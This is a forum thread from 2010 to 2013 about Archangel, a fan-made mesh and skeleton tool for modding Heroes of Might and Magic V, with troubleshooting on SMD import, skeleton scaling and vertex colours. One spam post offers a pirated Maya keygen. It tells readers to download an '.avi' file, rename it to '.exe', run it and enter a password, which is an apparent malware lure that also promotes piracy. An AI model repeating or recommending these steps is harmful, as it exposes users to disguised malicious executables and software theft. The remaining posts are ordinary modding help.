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Thread: Could we make a basic model editor? | This thread is pages long: 1 2 3 4 5 6 7 8 9 · «PREV / NEXT» |
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted November 17, 2010 04:48 PM |
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How far bwana?
Hey guys, thanks for your renewed interest.
The Naga was 'only' done as far as displayed.
Suggestions have been made to improve it further.
It has not drawn a lot of response from the community and my modding efforts have shifted to another game.
However, tutorials are still in place, so a follow-up should be quite feasible.
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Esher

 
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posted November 18, 2010 02:44 PM |
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Hi everybody!
If you want downloading Alias Maya 6.0 with keygen then [url=http://ifolder.ru/20339140]that[/url] link just for you 
Step #1
Download file - actek.avi
Step #2
Rename actek.avi as anyname.exe
Step #3
Run it
Step #4
Input password - it is p@Ssw0rD
Done!
Congradulations! Now you have distrib of Alias Maya 6.0 with keygen 
Enjoy!
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Dark_Messiah

 
Tavern Dweller
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posted May 26, 2012 06:29 PM |
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Download link is down could someone please upload archangel v0.4 and post the download link?
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted May 27, 2012 09:43 AM |
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restored link
The link is restored:
http://tatooinebase.star-fleet.org/UPLOAD/Archangel.v0.4.rar
Thanks Dark Messiah, for reporting this :-)
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Dark_Messiah

 
Tavern Dweller
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posted June 02, 2012 01:09 AM |
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Quote: The link is restored:
http://tatooinebase.star-fleet.org/UPLOAD/Archangel.v0.4.rar
Thanks Dark Messiah, for reporting this :-)
I thank YOU for restoring this awesome tool.
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zahar

  
 
Promising
Adventuring Hero
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posted February 10, 2013 04:38 AM |
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somehow, smd plugin for maya 6.0 works wrong it give such result as shown on the picture

the model has bad rigging and wrong sceleton size
is it posable to make smd plugin work right?
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted February 10, 2013 12:56 PM |
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That actually looks like a very nice import.
You know, don't expect everything from an importing tool:
You also need a few skills with your 3D modeling program.
I don't know about Maya, but in 3DSmax there's an option to adjust (scale) the skeleton without touching the mesh.
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zahar

  
 
Promising
Adventuring Hero
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posted February 15, 2013 10:08 PM |
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I have some skills with 3d modeling program, but not with maya working in maya in fact is like a torture for me))
See I can rigg the model normaly in 3d max or frag motion, or using brf editor, but then I need to import it in maya and rigg again, if I change the skeleton size to normal the model size in the game also changes, but in maya it doesn't changes, importing other model format like fbx to maya in order to import it in the game, gives even worst result, the texture imports bad when I import rigged model and all that bags will drive me insane soon
archangel somehow doesn't work too... It just did not import smd models even if it was exported by archangel second ago... I can't understand ((

is there any other way to import smd model with original hom5 skeleton in game (not using maya 6)?
Or is there a way to make archangel import smd files?
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted February 22, 2013 11:09 AM |
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I have to admit, Archangel isn't flawless and I'll make a version without that bug you reported (thanks BTW).
Nevertheless, Archangel wasn't quite intended to be used like you describe. What it comes down to is that Archangel wants to work with mesh + skeleton. In the package you downloaded there's a document called 'Archangel.quickstart.doc', which outlines the intended workflow.
> ".. if I change the skeleton size to normal the model size in the game also changes.."
Yes, that is because the 3D modeling program will store the applied scale. What you need to do is to condense the scalefactor into the mesh. What I usually do is export as SMD and re-import: the SMD file format does not store scale factors, so after re-importing scaling is at 100%.
I'll post again when the debugged version is ready.
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zahar

  
 
Promising
Adventuring Hero
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posted February 22, 2013 05:02 PM |
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It would be great, because if there would be a way to import smd model rigged to one of the h5 skeleton in the game without using maya, It would be a solutions to my problems
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted February 23, 2013 02:00 AM |
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> ".. It would be a solutions to my problems.."
I don't think so: in order to create an HoMM.V mesh file, the 'links' between the vertices and the bones need to be present. In Archangel, you can of course try to load an original skeleton over a new mesh, but that will almost certainly result in model disruption in-game.
The only way to get things right is to create a new GR2 skeleton with the new mesh.
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zahar

  
 
Promising
Adventuring Hero
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posted February 23, 2013 05:38 PM |
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so I need to take a skeleton which was taken from the game, rigg new model to it, then export model in the game, and also export skeleton in the game too? I don't really get it, since I don’t change original skeleton, but you say It would be correct?
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted February 24, 2013 12:07 AM |
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Maybe you don't change the skeleton, but you will change the bone-references, which are part of the 'links' between the vertices and the bones. So vertices in your new mesh will be bound to the wrong bones in the old skeleton.
BTW. with importing SMD files into Archangel you have to set your computer's decimal separator to a dot ('.')
(XP: Control Panel -> 'Regional and Language Options')
(Win7: Control Panel -> 'Clock, Language, and Region' -> 'Change the date, time, or number format' -> button <Additional Settings> )
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted February 24, 2013 11:35 AM |
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Here's the new version of 'Archangel':
http://tatooinebase.star-fleet.org/UPLOAD/Archangel.v0.5.beta.rar
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zahar

  
 
Promising
Adventuring Hero
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posted February 24, 2013 11:44 AM |
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GREAT thanks to you
I do as you said (about dot) and archangel works well now
I tried to import rigged mesh in the game, and, everything working well to (although I'm not really sure for this moment)

There is still some material problem, but I guess it's problem with the model itself which should be fixed in 3d's max
Thank you again for your awesome tool, and your help
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted February 24, 2013 12:21 PM |
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In Archangel, you also have to load the vertex colors after you imported a mesh.
To do this, you first have to create the vertex color maps.
(see here: http://tatooinebase.star-fleet.org/Archangel/quickstart.html#BakingVertexColors )
Next is to combine the vertex color maps. Do this only for those maps which are each other's complement.
Then in Archangel, after you imported an SMD mesh, select <View><Shade Colored><Lighting><Load>. Now you will be prompted for a vertex color map for each submesh.
After you loaded the vertex colors maps, you can check them with <View><Shade Colored><Lighting><View>.
You have to fiddle around with this a bit, because the vertex color maps might need to be flipped.
Export as HoMM.V mesh after the vertex colors look correct.
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zahar

  
 
Promising
Adventuring Hero
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posted February 24, 2013 02:06 PM |
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Is that why I have a material problem in the game, because of the vertex color maps?
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xuxo

   
  
Responsible
Known Hero
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posted May 18, 2013 09:18 AM |
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As much as I try, I can not import the mesh archangel. HoMM.V locate the mesh, textures and skeleton. I open it in Archangel, I export to SMD. I care about in 3dsmax8 with Cannonfodder's .... reverse the process and try exporting it again without touching anything SMD and reopen it in archangel. What am I doing wrong?
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Pesmontis

 
 
Adventuring Hero
status revoked
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posted May 20, 2013 11:26 PM |
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Quote: .. I can not import the mesh archangel..
I don't know what's wrong, I'd have to see the SMD file you're trying to import, so maybe you want to make it available for download.
You can also compare your SMD files yourself: SMD files are text files.
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xuxo

   
  
Responsible
Known Hero
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posted May 20, 2013 11:45 PM |
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Edited by xuxo at 23:50, 20 May 2013.
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